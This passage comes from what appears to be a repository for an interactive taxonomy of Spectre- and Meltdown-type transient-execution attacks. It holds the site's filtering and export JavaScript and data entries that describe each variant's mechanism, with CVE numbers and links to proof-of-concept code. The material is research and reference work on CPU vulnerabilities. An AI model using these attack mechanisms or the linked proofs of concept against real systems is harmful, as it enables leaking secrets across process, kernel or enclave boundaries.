input;\n        if(typeof(input) == \"string\") {\n            return replaceStr(input, term, '<span class=\"highlight\">$&</span>');\n        }\n        if(typeof(input) == \"object\") {\n            if(Array.isArray(input)) {\n                var new_input = [];\n                for(let element of input) {\n                    new_input.push(highlightSearch(element, term));\n                }\n                return new_input;\n            } else {\n                var new_input = {};\n                for(let key of Object.keys(input)) {\n                    if(key == \"url\") new_input[key] = input[key];\n                    else new_input[key] = highlightSearch(input[key], term); \n                }\n                return new_input;\n            }\n        }\n        return input;\n    }\n\n    function showList(list, target, content) {\n        if(list !== undefined && list.length > 0) {\n            $(target).show();\n            var clist = \"<small><ul>\";\n            for(var s in list) {\n                clist += \"<li><b>\";\n                if(list[s].url !== undefined) {\n                    clist += \"<a href=\\\"\" + list[s].url + \"\\\" target='_blank'>\";\n                }\n                clist += list[s].title||\"\";\n                if(list[s].url !== undefined) {\n                    clist += \"</a>\";\n                }\n                clist += \"</b>\";\n                if(list[s].author !== undefined) {\n                    clist += \"<br>\" + list[s].author;\n                }\n                if(list[s].conference !== undefined) {\n                    clist += \" (<i>\" + list[s].conference + \"</i>)\";\n                }\n                if(typeof(list[s]) === \"string\") {\n                    clist += list[s];\n                }\n                clist += \"</li>\";\n            }\n            clist += \"</small></ul>\";\n            $(content).html(clist);\n        } else {\n            $(target).hide();\n        }\n    }\n\n    function popup(node) {\n        var searchterm = $(\"#search\").val();\n    \n        $(\"#dbox\").html(highlightSearch(node.description, searchterm));\n        var title = highlightSearch(node.title, searchterm);\n        if (node.alias) title += \" <i>(aka \" + highlightSearch(node.alias, searchterm) + \")</i>\";\n        $(\"#dbox_title\").html(title);\n\n        if (node.img)\n        {\n            $(\"#dbox_img\").html(\"<img style=\\\"max-height:150px; max-width:95%;\\\" src=\\\"images/\" + node.img + \"\\\"/><p></p>\");\n            $(\"#dbox_img\").show();\n        }\n        else\n        {\n            $(\"#dbox_img\").hide();\n        }\n\n        if (node.todo)\n        {\n            $(\"#dbox_todo\").html(\"<b>Future work</b><br>\" + highlightSearch(node.todo, searchterm));\n            $(\"#dbox_todo\").show();\n        }\n        else\n        {\n            $(\"#dbox_todo\").hide();\n        }\n\n        showList(highlightSearch(node.sources, searchterm), \"#dbox_h_src\", \"#dbox_src\");\n        showList(highlightSearch(node.names, searchterm), \"#dbox_h_aka\", \"#dbox_aka\");\n        showList(highlightSearch(node.cve, searchterm), \"#dbox_h_cve\", \"#dbox_cve\");\n        showList(highlightSearch(node.poc, searchterm), \"#dbox_h_poc\", \"#dbox_poc\");\n        showList(highlightSearch(node.affects, searchterm), \"#dbox_h_affected\", \"#dbox_affected\");\n        \n    }\n    \n    function nodeTemplate(node) {\n        var html = \"<div class='box node' style='height:\" + node.settings.nodeHeight + \"px; width:\" + node.settings.nodeWidth + \"px; background-color:\" + node.data.color + \";' id='db\" + node.data.id + \"'>\";\n        html += \"<div><strong>\" + node.data.title + \"</strong></div>\";\n        if(node.data.text_top !== undefined) {\n            html += \"<div class='desc_top'>\" + node.data.text_top + \"</div>\";\n        }\n        if(node.data.text_bottom !== undefined) {\n            html += \"<div class='desc_bottom'>\" + node.data.text_bottom + \"</div>\";\n        }\n        html += \"</div>\";\n        return html;\n    }\n\n    var tree = Treeviz.create({\n        htmlId: \"tree\",\n        idKey: \"id\",\n        hasFlatData: true,\n        relationnalField: \"father\",\n        hasPanAndZoom: true,\n        nodeWidth: 180,\n        nodeHeight: 25,\n        mainAxisNodeSpacing: 1.4,\n        secondaryAxisNodeSpacing: 1.05,\n        isHorizontal: true,\n        renderNode: nodeTemplate,\n        linkWidth: (nodeData) => 4,\n        linkShape: \"curve\",\n        linkColor: (nodeData) => \"#B0BEC5\" ,\n        onNodeClick: (nodeData) => popup(nodeData.data),\n    });\n    \n    tree.refresh(data);\n\n    $(\"#toggleMeltdown\").click(filter);\n    $(\"#toggleSpectre\").click(filter);\n\n    buildIndex();\n    filter();\n    \n\n    var options = [];\n    $( '.dropdown-menu a' ).on( 'click', function( event ) {\n        var $target = $( event.currentTarget ),\n            val = $target.attr( 'data-value' ),\n            $inp = $target.find( 'input' ),\n            idx;\n\n        if ( ( idx = options.indexOf( val ) ) > -1 ) {\n            options.splice( idx, 1 );\n            setTimeout( function() { $inp.prop( 'checked', false ); filter();}, 0);\n        } else {\n            options.push( val );\n            setTimeout( function() { $inp.prop( 'checked', true ); filter(); }, 0);\n        }\n        $( event.target ).blur();\n        return false;\n    });\n\n    \n</script>\n<script async defer src=\"https://buttons.github.io/buttons.js\"></script>\n</body>\n\n</html>\n"
  },
  {
    "path": "docs/js/export.js",
    "content": "function getTranslation(obj) {\n    if(obj.transform === undefined) return [0,0];\n    if(obj.transform.baseVal === undefined) return [0,0];\n    for(let op of obj.transform.baseVal) {\n        if(op.type == 2) {\n            return [op.matrix.e, op.matrix.f];\n        }\n    }\n    return [0,0];\n}\n\nfunction exportTikz() {\n    var header = \"\\\\begin{tikzpicture}[node distance=0.9cm,transform shape,scale=0.55]\\n\";\n    header += \"\\\\tikzstyle{small}  = [rectangle, rounded corners, minimum width=2.5cm, minimum height=.6cm,text centered, draw=black, fill=white]\\n\";\n    header += \"\\\\tikzstyle{large}  = [rectangle, rounded corners, minimum width=3.8cm, minimum height=.6cm,text centered, draw=black, fill=white]\\n\";\n    header += \"\\\\tikzstyle{works}  = [fill=red!30!white,thick,font=\\\\bfseries]\\n\";\n    header += \"\\\\tikzstyle{fails}  = [densely dashed,pattern=north west lines,pattern color=green!60!white]\\n\";\n    header += \"\\\\tikzstyle{todo}   = [fill=red!30!yellow,thick,font=\\\\bfseries]\\n\";\n    header += \"\\\\tikzstyle{group}  = [fill=blue!20!white]\\n\";\n    header += \"\\\\tikzstyle{arrow}  = [thick,->,>=stealth,in=180,out=0,looseness=0.6]\\n\";\n    header += \"\\\\tikzstyle{arrow_regular}  = [thick,->,>=stealth]\\n\";\n\n    header += \"\\\\usetikzlibrary{shapes.geometric, arrows, patterns}\\n\";\n\n    var content = \"\";\n    \n    var arrows = \"\";\n    for(let node of $(\"#tree svg g.node\")) {\n        var pos = getTranslation(node);\n        var id = $(node).find(\".box\").prop(\"id\").substr(2);\n        var node_obj = index[id];\n        var name = node_obj.title;\n        \n        var style = \"works\";\n        if(node_obj.color == color.group) style = \"group\";\n        else if(node_obj.color == color.fails) style = \"fails\";\n        else if(node_obj.color == color.todo) style = \"todo\";\n        \n        content += \"\\\\node[large,\" + style + \"] (node\" + id + \") at (\" + ((pos[0] / 40.0) * 0.9) + \",\" + (-pos[1] / 40.0) + \") {\" + name + \"};\\n\";\n        \n        if(node_obj.father !== null) {\n            arrows += \"\\\\draw (node\" + index[node_obj.father].id + \".east) edge[arrow_regular] (node\" + id +\".west);\\n\";\n        }\n        \n    }\n    \n    content += arrows;\n\n    var footer = \"\\\\end{tikzpicture}\\n\";\n    \n    var tikz = header + content + footer;\n    var blob = new Blob([ tikz ], {type:\"text/x-pgf;charset=utf-8\"});\n    window.saveAs(blob, \"tree.tikz\");\n}\n\nfunction exportSVG() {\n    var header = '<?xml version=\"1.0\" standalone=\"no\"?>\\n';\n    \n    var corr_pos = getTranslation($(\"#tree svg g g\")[0]);\n\n    var empty_svg = $(\"#tree svg\").clone().html(\"\").get()[0];\n    empty_svg.setAttribute(\"transform\", \"translate(\" + (corr_pos[0]) + \",\" + (corr_pos[1]) +\")\");\n    empty_svg.setAttribute(\"xmlns\", \"http://www.w3.org/2000/svg\");\n    \n    var root = $(\"#tree svg\")[0];\n    empty_svg.setAttribute(\"transform\", \"\");\n    \n    var content = empty_svg.outerHTML.replace(\"</svg>\", \"\");\n    content += \"<g>\";\n    \n    var path_count = 0;\n    for(let node of $(\"#tree svg g\")) {\n        var cn = node.className.baseVal;\n\n        if(cn === undefined || cn != \"node\") {\n            path_count++;\n            if(path_count == 1) continue;\n            content += node.outerHTML;\n        } else {\n            var name = $(node).find(\"strong\").text();\n            var enode = $(node).clone();\n            \n            var box = $(node).find(\"div.box\")[0];\n            var bg = (box !== undefined ? box.style.backgroundColor : \"white\");\n            \n            enode.html('<svg width=\"180\" height=\"25\"><rect x=\"0\" y=\"0\" rx=\"5\" ry=\"5\" width=\"180\" height=\"25\" fill=\"' + bg + '\" /><text x=\"50%\" y=\"50%\" alignment-baseline=\"middle\" text-anchor=\"middle\" font-weight=\"bold\">' + name + '</text></svg>');\n            \n            var jenode = enode.get()[0];\n            \n            pos = getTranslation(jenode); \n            jenode.setAttribute(\"transform\", \"translate(\" + (pos[0] + corr_pos[0]) + \",\" + (pos[1] + corr_pos[1]) +\")\");\n            content += jenode.outerHTML;\n        }\n        \n    }\n    \n    var footer = \"</g></svg>\";\n    var svg = header + content + footer;\n    var blob = new Blob([ svg ], {type:\"image/svg+xml;charset=utf-8\"});\n    window.saveAs(blob, \"tree.svg\");\n\n}\n\nfunction exportDOT() {\n    var header = \"digraph tree {\\n\";\n\n    var content = \"rankdir=LR;\\n\";\n\n    var defined = [];\n\n    var makeUnique = (x) => x.title.replace(/[^A-Za-z0-9]*/g, \"\") + x.id;\n\n    var arrows = \"\";\n    for(let node of $(\"#tree svg g.node\")) {\n        var id = $(node).find(\".box\").prop(\"id\").substr(2);\n        var node_obj = index[id];\n        var name = node_obj.title;\n        var unique = makeUnique(node_obj);\n\n        var shape = \"box\";\n        if(node_obj.color == color.group) shape = \"oval\";\n        else if(node_obj.color == color.fails) shape = \"box\";\n        else if(node_obj.color == color.todo) shape = \"box\";\n\n        if(defined.indexOf(unique) == -1) {\n            content += unique + \" [label=\\\"\" + name + \"\\\",shape=\" + shape + \"];\\n\";\n            defined.push(unique);\n        }\n\n        if(node_obj.father !== null) {\n            var funique = makeUnique(index[node_obj.father]);\n            content += funique + \" -> \" + unique + \";\\n\";\n        }\n\n    }\n\n    var footer = \"}\\n\";\n\n    var tikz = header + content + footer;\n    var blob = new Blob([ tikz ], {type:\"text/x-dot;charset=utf-8\"});\n    window.saveAs(blob, \"tree.dot\");\n}\n\n"
  },
  {
    "path": "docs/js/filter.js",
    "content": "var index = {};\nfunction buildIndex() {\n    index = {};\n    for(let node of data) {\n        if(index[node.id] !== undefined) {\n            alert(\"Duplicate ID \" + node.id + \": \" + node.title + \" and \" + index[node.id].title);\n        }\n        index[node.id] = node;\n    }\n}\n\nfunction hasParent(node, parent_id) {\n    var parent = node;\n    while(parent !== undefined && parent.father != null) {\n        parent = index[parent.father];\n        if(parent === undefined) return false;\n        if(parent.id == parent_id) return true;\n    }\n    return false;\n}\n\nfunction hasChild(node, child_id) {\n    var child = index[child_id];\n    return hasParent(child, node.id);\n}\n\nfunction toggleMeltdownSpectre(meltdown, spectre, filterInclude) {\n    current_data = [];\n    for(let node of data) {\n        var is_meltdown = hasParent(node, 3) || node.id == 3;\n        var is_spectre = hasParent(node, 2) || node.id == 2;\n        if((spectre && is_spectre) || (meltdown && is_meltdown) || (!is_meltdown && !is_spectre)) {\n            if(filterInclude(node)) {\n                current_data.push(node);\n            }\n        }\n    }\n    // remove empty groups\n    var removed;\n    do {\n        removed = 0;\n        var has_children = {};\n        for(let node of current_data) {\n            if(node.father !== null) has_children[node.father] = true;\n        }\n        var cleaned_data = [];\n        for(let node of current_data) {\n            if(has_children[node.id] !== undefined || node.color != color.group) {\n                cleaned_data.push(node);\n            } else {\n                removed++;\n            }\n        }    \n        current_data = cleaned_data;\n    } while(removed);\n    \n    tree.refresh(current_data);\n}\n\nfunction recursiveFlatten(input) {\n    result = \"\";\n    if(typeof(input) == \"string\") {\n        result += input + \" \";\n    }\n    else if(typeof(input) == \"object\") {\n        if(Array.isArray(input)) {\n            for(let element of input) {\n                result += recursiveFlatten(element) + \" \";\n            }\n        } else {\n            for(let key of Object.keys(input)) {\n                result += recursiveFlatten(input[key]) + \" \";\n            }\n        }\n    }\n    return result;\n}\n\nfunction filter() {\n    var show_meltdown = $(\"#toggleMeltdown\").prop(\"checked\");\n    var show_spectre = $(\"#toggleSpectre\").prop(\"checked\");\n    var show_todo = $(\"#toggleTodo\").prop(\"checked\");\n    var show_fails = $(\"#toggleFails\").prop(\"checked\");\n    var show_working = $(\"#toggleWorking\").prop(\"checked\");\n\n    // var show_paper = $(\"#togglePaper\").prop(\"checked\");\n    // var show_nopaper = $(\"#toggleNoPaper\").prop(\"checked\");\n\n    var show_l1 = $(\"#toggleL1\").prop(\"checked\");\n    var show_lfb = $(\"#toggleLFB\").prop(\"checked\");\n    var show_sb = $(\"#toggleSB\").prop(\"checked\");\n    var show_lp = $(\"#toggleLP\").prop(\"checked\");\n    var show_reg = $(\"#toggleREG\").prop(\"checked\");\n    var show_mem = $(\"#toggleMEM\").prop(\"checked\");\n\n    var show_intel = $(\"#toggleIntel\").prop(\"checked\");\n    var show_arm = $(\"#toggleARM\").prop(\"checked\");\n    var show_amd = $(\"#toggleAMD\").prop(\"checked\");\n    //var show_ibm = $(\"#toggleIBM\").prop(\"checked\");\n\n    var search_term = $(\"#search\").val();    \n    var has_search = search_term.trim().length > 0;\n    var show_poc = $(\"#togglePoC\").prop(\"checked\");\n    var show_nopoc = $(\"#toggleNoPoC\").prop(\"checked\");\n    var search_popup = 0;\n    \n    toggleMeltdownSpectre(show_meltdown, show_spectre, function(node) {\n        var is_leaf = node.color != color.group && node.color != color.root;\n        \n        if(node.todo !== undefined && node.color == color.todo && !show_todo) \n            return false;\n        if(node.color == color.fails && !show_fails)\n            return false;\n        if(node.color == color.works && !show_working)\n            return false;\n        \n        /*\n        var has_paper = false;\n        if(node.sources !== undefined) {\n            for(let s of node.sources) {\n                if(s.conference !== undefined) {\n                    has_paper = true;\n                    break;\n                }\n            }\n        }\n        if(has_paper && !show_paper && is_leaf)\n            return false;\n        if(!has_paper && !show_nopaper && is_leaf)\n            return false;\n        */\n        \n        if(node.poc !== undefined && node.poc.length > 0 && is_leaf && !show_poc) \n            return false;\n        if((node.poc === undefined || node.poc.length == 0) && is_leaf && !show_nopoc) \n            return false;\n\n        var include = false;\n        if(node.affects !== undefined) {\n            for(let a of node.affects) {\n                if(a.title === \"Intel\" && show_intel) {\n                    include = true;\n                    break;\n                }\n                if(a.title === \"AMD\" && show_amd) {\n                    include = true;\n                    break;\n                }\n                if(a.title === \"ARM\" && show_arm) {\n                    include = true;\n                    break;\n                }\n                /*if(a.title === \"IBM\" && show_ibm) {\n                    include = true;\n                    break;\n                }*/\n            }\n            if (!include) return false;\n        }\n\n        var has_l1 = node.title.indexOf(\"-L1\") != -1;\n        var has_lfb = node.title.indexOf(\"-LFB\") != -1;\n        var has_sb = node.title.indexOf(\"-SB\") != -1;\n        var has_lp = node.title.indexOf(\"-LP\") != -1;\n        var has_reg = node.title.indexOf(\"-REG\") != -1;\n        var has_mem = !has_l1 && !has_lfb && !has_sb && !has_lp && !has_reg && (node.color == color.works);\n        \n        if(has_l1 && is_leaf && !show_l1)\n            return false;\n        if(has_lfb && is_leaf && !show_lfb)\n            return false;\n        if(has_sb && is_leaf && !show_sb)\n            return false;\n        if(has_lp && is_leaf && !show_lp)\n            return false;\n        if(has_reg && is_leaf && !show_reg)\n            return false;\n        if(has_mem && is_leaf && !show_mem)\n            return false;\n         \n        if(has_search && is_leaf)\n        {\n            if(node.description.toLowerCase().indexOf(search_term.toLowerCase()) == -1 &&\n               node.title.toLowerCase().indexOf(search_term.toLowerCase()) == -1 &&   \n               (node.alias||\"\").toLowerCase().indexOf(search_term.toLowerCase()) == -1 &&\n               (node.affects||[]).map(x => x.title||x).join(\" \").toLowerCase().indexOf(search_term.toLowerCase()) == -1 &&\n               (node.names||[]).map(x => x.title||x).join(\" \").toLowerCase().indexOf(search_term.toLowerCase()) == -1 &&\n               recursiveFlatten(node.sources).toLowerCase().indexOf(search_term.toLowerCase()) == -1 &&\n               (node.cve||[]).map(x => x.title||x).join(\" \").toLowerCase().indexOf(search_term.toLowerCase()) == -1 &&\n               (node.poc||[]).map(x => x.title||x).join(\" \").toLowerCase().indexOf(search_term.toLowerCase()) == -1\n            )\n                return false;\n            /* automatically popup the first leaf hit when searching */\n            else if(!search_popup)\n            {\n                search_popup = 1;\n                popup(node);\n            }\n        }\n        \n        return true;\n    }\n    );\n} \n"
  },
  {
    "path": "docs/js/tree.js",
    "content": "$(document).ready(function(e) {\n    $('[data-toggle=\"popover\"]').popover();\n    $('[data-toggle=\"tooltip\"]').tooltip();\n});\n\n$(document).on('click', '[data-toggle=\"lightbox\"]', function(event) {\n                event.preventDefault();\n                $(this).ekkoLightbox();\n            });\n\n"
  },
  {
    "path": "docs/tree.js",
    "content": "var color = {\n    root: \"#DDDDDD\",\n    group: \"#BBBBFF\",\n    works: \"#FF5722\",\n    fails: \"#8BC34A\",\n    todo: \"#FFA500\"\n}\n\nvar data = [{\n        id: 1,\n        title: \"Transient cause\",\n        father: null,\n        img: \"transient-overview.svg\",\n        description: \"We split the tree based on the cause for entering transient execution. If the cause is handling a fault or a microcode assist upon instruction retirement, we have a Meltdown-type attack. If the cause is a control or data flow prediction, we have a Spectre-type attack.\",\n        sources: [\n            sources[\"Canella2018\"],\n            sources[\"Kocher2019\"],\n            sources[\"Lipp2018\"]\n        ],\n        color: color.root\n    },\n    {\n        id: 2,\n        title: \"Spectre-type\",\n        img: \"spectre-root.svg\",\n        text_top: \"prediction\",\n        description: \"Spectre exploits a performance optimization in modern CPUs. Instead of waiting for the correct resolution of a branch, the CPU tries to predict the most likely outcome of the branch and starts transiently executing along the predicted path. Upon resolving the branch, the CPU discards the results of the transient execution if the prediction was wrong but does not revert changes in the microarchitecture. The prediction is based on events in the past, allowing an attacker to mistrain the predictor to leak data through the microarchitecture that should normally not be accessible to the attacker.\",\n        sources: [\n            sources[\"Kocher2019\"],\n            sources[\"Canella2018\"]\n        ],\n        father: 1,\n        color: color.group\n    },\n    {\n        id: 3,\n        title: \"Meltdown-type\",\n        img: \"meltdown-root.svg\",\n        text_bottom: \"fault/assist\",\n        father: 1,\n        description: \"Meltdown exploits the fact that exceptions are only raised (i.e., become architecturally visible) upon the retirement of the faulting instruction. In some microarchitectures, this property allows transient instructions ahead in the pipeline to compute on unauthorized results of the instruction that is about to suffer a fault. The CPU's in-order instruction-retirement mechanism takes care to discard any architectural effects of such computations, but secrets may leak through microarchitectural covert channels.<p/>We further classify Meltdown-type attacks based on the fault condition. A first category of <i>architectural faults</i> iterates over all possible Intel x86 exception types. A second category considers so-called <i>microarchitectural faults</i>, which are never visible at the architectural level, by branching on different conditions that provoke microcode assists.<p/>The resulting unambiguous naming scheme results in Meltdown-type attack leaves of the form “Meltdown-TC-BUF”, where TC denotes the transient cause (specific exception type or microcode assist) and BUF denotes the microarchitectural buffer responsible for the leakage.\",\n        sources: [\n            sources[\"Lipp2018\"],\n            sources[\"VanBulck2018\"],\n            sources[\"VanSchaik2019\"],\n            sources[\"Canella2019\"],\n            sources[\"Schwarz2019\"],\n            sources[\"Canella2018\"],\n        ],\n        color: color.group\n    },\n    {\n        id: 4,\n        title: \"Spectre-PHT\",\n        alias: \"Spectre v1\",\n        img: \"spectre.svg\",\n        text_top: \"microarchitectural buffer\",\n        father: 2,\n        description: \"Kocher et al. first introduced Spectre-PHT, an attack that poisons the Pattern History Table (PHT) to mispredict the direction (taken or not-taken) of conditional branches. Depending on the underlying microarchitecture, the PHT is accessed based on a combination of virtual address bits of the branch instruction plus a hidden Branch History Buffer (BHB) that accumulates global behavior for the last N branches on the same physical core.\",\n        sources: [\n            sources[\"Canella2018\"],\n            sources[\"Kocher2019\"],\n            sources[\"Evtyushkin2018\"],\n            sources[\"Fog\"]\n        ],\n        names: [\n            {\n                title: \"Spectre variant 1\",\n                url: \"https://spectreattack.com/\"\n            },\n            {\n                title: \"Spectre variant 1.1\",\n                url: \"https://arxiv.org/pdf/1807.03757.pdf\"\n            },\n            {\n                title: \"Bounds Check Bypass (BCB)\",\n                url: \"https://software.intel.com/security-software-guidance/api-app/sites/default/files/336983-Intel-Analysis-of-Speculative-Execution-Side-Channels-White-Paper.pdf\"\n            }\n        ],\n        cve: [{\n            title: \"CVE-2017-5753\",\n            url: \"https://nvd.nist.gov/vuln/detail/CVE-2017-5753\"\n        }],\n        poc: [{\n                title: \"https://github.com/IAIK/transientfail\",\n                url: \"https://github.com/IAIK/transientfail/tree/master/pocs/spectre/PHT\"\n            },\n            {\n                title: \"https://github.com/google/safeside\",\n                url: \"https://github.com/google/safeside/tree/master/demos\"\n            }\n        ],\n        color: color.group\n    },\n    {\n        id: 5,\n        title: \"Spectre-BTB\",\n        alias: \"Spectre v2\",\n        img: \"spectre.svg\",\n        father: 2,\n        description: \"In Spectre-BTB, the attacker poisons the Branch Target Buffer (BTB) to steer the transient execution to a mispredicted branch target. For direct branches, the CPU indexes the BTB using a subset of the virtual address bits of the branch instruction to yield the predicted jump target. For indirect branches, CPUs use different mechanisms, which may take into account global branching history accumulated in the BHB when indexing the BTB. We refer to both types as Spectre-BTB.<p>Contrary to Spectre-PHT, where transient instructions execute along a restricted mispredicted path, Spectre-BTB enables redirection of transient control flow to an arbitrary destination. Adopting established techniques from return-oriented programming (ROP) attacks, but abusing BTB poisoning instead of application-level vulnerabilities, selected code “gadgets” found in the victim address space may be chained together to construct arbitrary transient instruction sequences. Hence, while the success of Spectre-PHT critically relies on unintended leakage along the mispredicted code path, ROP-style gadget abuse in Spectre-BTB enables more direct construction of covert channels that expose secrets from the transient domain.\",\n        sources: [\n            sources[\"Kocher2019\"],\n            sources[\"Canella2018\"]\n        ],\n        names: [\n            {\n                title: \"Spectre variant 2\",\n                url: \"https://spectreattack.com/\"\n            },\n            {\n                title: \"Branch Target Injection (BTI)\",\n                url: \"https://software.intel.com/security-software-guidance/api-app/sites/default/files/336983-Intel-Analysis-of-Speculative-Execution-Side-Channels-White-Paper.pdf\"\n            }\n\n        ],\n        cve: [{\n            title: \"CVE-2017-5715\",\n            url: \"https://nvd.nist.gov/vuln/detail/CVE-2017-5715\"\n        }],\n        poc: [{\n                title: \"https://github.com/IAIK/transientfail\",\n                url: \"https://github.com/IAIK/transientfail/tree/master/pocs/spectre/BTB\"\n            },\n            {\n                title: \"https://github.com/google/safeside\",\n                url: \"https://github.com/google/safeside/tree/master/demos\"\n            }\n        ],\n        color: color.group\n    },\n    {\n        id: 6,\n        title: \"Spectre-RSB\",\n        alias: \"ret2spec\",\n        img: \"spectre.svg\",\n        father: 2,\n        description: \"Maisuradze and Rossow and Koruyeh et al. introduced a Spectre variant that exploits the Return Stack Buffer (RSB). The RSB is a small per-core microarchitectural buffer that stores the virtual addresses following the N most recent <code>call</code> instructions. When encountering a <code>ret</code> instruction, the CPU pops the topmost element from the RSB to predict the return flow.<p>Misspeculation arises whenever the RSB layout diverges from the actual return addresses on the software stack. Such disparity for instance naturally occurs when restoring kernel/enclave/user stack pointers upon protection domain switches.<p>Furthermore, same-address-space adversaries may explicitly overwrite return addresses on the software stack, or transiently execute <code>call</code> instructions which update the RSB without committing architectural effects. This may allow untrusted code executing in a sandbox to transiently divert return control flow to interesting code gadgets outside of the sandboxed environment.<p>Due to the fixed-size nature of the RSB, a special case of misspeculation occurs for deeply nested function calls. Since the RSB can only store return addresses for the N most recent calls, an underfill occurs when the software stack is unrolled. In this case, the RSB can no longer provide accurate predictions. Starting from Skylake, Intel CPUs use the BTB as a fallback, thus allowing Spectre-BTB-style attacks triggered by <code>ret</code> instructions.\",\n        sources: [\n            sources[\"Maisuradze2018\"],\n            sources[\"Koruyeh2018\"],\n            sources[\"Canella2018\"]\n        ],\n        names: [\n            {\n                title: \"ret2spec\",\n                url: \"https://arxiv.org/pdf/1807.10364.pdf\",\n            },\n            {\n                title: \"SpectreRSB\",\n                url: \"https://www.usenix.org/conference/woot18/presentation/koruyeh\",\n            },\n        ],\n        poc: [{\n            title: \"https://github.com/IAIK/transientfail\",\n            url: \"https://github.com/IAIK/transientfail/tree/master/pocs/spectre/RSB\"\n        }],\n        cve: [{\n            title: \"CVE-2017-5715\",\n            url: \"https://nvd.nist.gov/vuln/detail/CVE-2017-5715\"\n        }],\n        color: color.group\n    },\n    {\n        id: 7,\n        title: \"Spectre-STL\",\n        alias: \"Spectre v4\",\n        img: \"spectre.svg\",\n        father: 2,\n        description: \"Speculation in modern CPUs is not restricted to control flow but also includes predicting dependencies in the data flow. A common type, a Store To Load (STL) dependency, requires that a memory load shall not be executed before all preceding stores writing to the same location have completed. However, even before the addresses of all prior stores in the pipeline are known, the CPU's memory disambiguator may predict which loads can already be executed speculatively. <p>When the disambiguator predicts that a load does not have a dependency on a prior store, the load reads data from the L1 data cache. When the addresses of all prior stores are known, the prediction is verified. If any overlap is found, the load and all following instructions are re-executed. </p><p>Jann Horn (Google Project Zero) showed how mispredictions by the memory disambiguator could be abused to speculatively bypass store instructions. Like previous attacks, Spectre-STL adversaries rely on an appropriate transient instruction sequence to leak unsanitized stale values via a microarchitectural covert channel. Furthermore, operating on stale pointer values may speculatively break type and memory safety guarantees in the transient execution domain. </p>\",\n        sources: [\n            sources[\"Horn2018\"],\n            sources[\"Canella2018\"]\n        ],\n        poc: [{\n                title: \"https://github.com/IAIK/transientfail\",\n                url: \"https://github.com/IAIK/transientfail/tree/master/pocs/spectre/STL\"\n            },\n            {\n                title: \"https://github.com/google/safeside\",\n                url: \"https://github.com/google/safeside/tree/master/demos\"\n            }\n        ],\n        names: [\n            {\n                title: \"Spectre variant 4\",\n                url: \"https://software.intel.com/security-software-guidance/software-guidance/speculative-store-bypass\"\n            },\n            {\n                title: \"Speculative Store Bypass (SSB)\",\n                url: \"https://software.intel.com/security-software-guidance/software-guidance/speculative-store-bypass\"\n            },\n        ],\n        cve: [{\n            title: \"CVE-2018-3639\",\n            url: \"https://nvd.nist.gov/vuln/detail/CVE-2018-3639\"\n        }],\n        affects: [\n            {\n                title: \"Intel\",\n                url: \"https://software.intel.com/security-software-guidance/software-guidance/speculative-store-bypass\"\n            },\n            {\n                title: \"AMD\",\n            },\n            {\n                title: \"ARM\",\n            },\n        ],\n        color: color.works\n    },\n    {\n        id: 8,\n        title: \"Meltdown-NM-REG\",\n        alias: \"LazyFP\",\n        father: 3,\n        description: \"During a context switch, the OS has to save all the registers, including the floating point unit (FPU) and SIMD registers. These latter registers are large and saving them would slow down context switches. Therefore, CPUs allow for a lazy state switch, meaning that instead of saving the registers, the FPU is simply marked as “not available”. The first FPU instruction issued after the FPU was marked as “not available” causes a  device-not-available (#NM) exception, allowing the OS to save the FPU state of previous execution context before marking the FPU as available again. <p/> Stecklina and Prescher propose an attack on the above lazy state switch mechanism. The attack consists of three steps. In the first step, a victim performs operations loading data into the FPU registers. Then, in the second step, the CPUswitches to the attacker and marks the FPU as “not available”. The attacker now issues an instruction that uses the FPU, which generates an #NM fault. Before the faulting instruction retires, however, the CPU has already transiently executed the following instructions using data from the previous context. As such, analogous to previous Meltdown-type attacks, a malicious transient instruction sequence following the faulting instruction can encode the unauthorized FPU register contents through a microarchitectural covert channel.\",\n        sources: [\n            sources[\"Stecklina2018\"],\n            sources[\"Canella2018\"]\n        ],\n        names: [\n            {\n                title: \"Lazy FP State Restore (LazyFP)\",\n                url: \"https://www.cyberus-technology.de/posts/2018-06-06-intel-lazyfp-vulnerability.html\"\n            },\n        ], \n        cve: [{\n            title: \"CVE-2018-3665\",\n            url: \"https://nvd.nist.gov/vuln/detail/CVE-2018-3665\"\n        }],\n        poc: [{\n            title: \"https://github.com/IAIK/transientfail\",\n            url: \"https://github.com/IAIK/transientfail/tree/master/pocs/meltdown/NM\"\n        }],\n        affects: [\n            {\n                title: \"Intel\",\n                url: \"https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00145.html\"\n            },\n        ],\n        color: color.works\n    },\n    {\n        id: 9,\n        title: \"Meltdown-AC\",\n        alias: \"\",\n        father: 3,\n        description: \"Upon detecting an unaligned memory operand, the CPU may generate an alignment-check exception (#AC) when the EFLAGS.AC flag is set. In our tests on Intel CPUs, we were unable to transiently encode the results of unaligned memory accesses. We suspect that this is because #AC is generated early in the pipeline, even before the operand’s virtual address is translated to a physical one. However, this appears not to be the case on some AMD and ARM microarchitectures, on which it is possible to transiently leak data after the exception.\",\n        sources: [\n            sources[\"Canella2018\"]\n        ],\n        poc: [{\n            title: \"https://github.com/IAIK/transientfail\",\n            url: \"https://github.com/IAIK/transientfail/tree/master/pocs/meltdown/AC\"\n        }],\n        affects: [\n            {\n                title: \"AMD\",\n                url: \"https://www.amd.com/system/files/documents/security-whitepaper.pdf\"\n            },\n            {\n                title: \"ARM\",\n            },\n        ],\n        color: color.group\n    },\n    {\n        id: 67,\n        title: \"Meltdown-AC-LFB\",\n        alias: \"RIDL\",\n        img: \"mds.svg\",\n        father: 9,\n        description: \"The RIDL addendum explained that misaligned loads due to the AC flag may leak data from line-fill buffers. Interestingly, in contrast to the main RIDL variant Meltdown-P-LFB exploiting page faults, Meltdown-AC-LFB may work even on processors enumerating RDCL_NO silicon mitigations.\",\n        sources: [\n            sources[\"RIDLAddendum1\"],\n            sources[\"VanSchaik2019\"],\n            sources[\"IntelMDS\"],\n        ],\n        names: [\n            {\n                title: \"Rogue In-flight Data Load (RIDL) Addendum\",\n                url: \"https://mdsattacks.com/\"\n            },\n            {\n                title: \"Microarchitectural Fill Buffer Data Sampling (MFBDS)\",\n                url: \"https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling\"\n            },\n            {\n                title: \"Microarchitectural Data Sampling (MDS)\",\n                url: \"https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling\"\n            },\n        ],\n        cve: [{\n            title: \"CVE-2018-12130\",\n            url: \"https://nvd.nist.gov/vuln/detail/CVE-2018-12130\"\n        }],\n        affects: [\n            {\n                title: \"Intel\",\n                url: 